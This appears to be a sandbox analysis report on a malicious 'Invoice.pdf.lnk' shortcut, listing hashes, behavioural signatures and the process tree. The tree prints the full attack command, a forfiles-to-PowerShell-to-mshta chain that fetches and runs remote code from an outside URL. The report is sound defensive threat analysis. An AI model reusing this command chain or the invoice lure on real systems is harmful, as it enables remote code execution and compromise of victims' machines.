Analysis
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max time kernel
448s -
max time network
1174s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
08-05-2024 14:57
Static task
static1
Behavioral task
behavioral1
Sample
Invoice.pdf.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Invoice.pdf.lnk
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
Invoice.pdf.lnk
Resource
win10v2004-20240508-en
Behavioral task
behavioral4
Sample
Invoice.pdf.lnk
Resource
win11-20240426-en
General
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Target
Invoice.pdf.lnk
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Size
148KB
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MD5
12e2b5c70cc7ba659226a376dc3cc039
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SHA1
08f338109566d47a2c0b91e071fabc6781cbd167
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SHA256
31c7a17e9f518c9f55ecfaa428e069d9fc1c820c74ed53392bc1b219915438b3
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SHA512
b1e451265e4409ab4c1492ee5ca903b444d22604b8f0860bbf949107c92ee952f4fd94535116a202579ab75c12860657cb123d6371d1f54d39409c48b82ead31
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SSDEEP
24:8WEe6Dz358m+pyAWkr+/4zc+8PxZvBT0qdd79ds/Z6U/ab9Q9qFBm:8WENDzKvbc7nvBT7dJ9A6U/a5QW
Malware Config
Extracted
https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 2 4380 mshta.exe 4 4380 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2504 powershell.exe 2504 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2504 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2976 wrote to memory of 3044 2976 cmd.exe 83 PID 2976 wrote to memory of 3044 2976 cmd.exe 83 PID 3044 wrote to memory of 2504 3044 forfiles.exe 84 PID 3044 wrote to memory of 2504 3044 forfiles.exe 84 PID 2504 wrote to memory of 4380 2504 powershell.exe 86 PID 2504 wrote to memory of 4380 2504 powershell.exe 86
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Invoice.pdf.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\System32\forfiles.exe"C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m calc.exe /c "powershell . mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice"2⤵
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe. mshta https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2504 -
C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" https://invoiceinformations.com/InvoiceInfo/EvernoteInvoice4⤵
- Blocklisted process makes network request
PID:4380
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82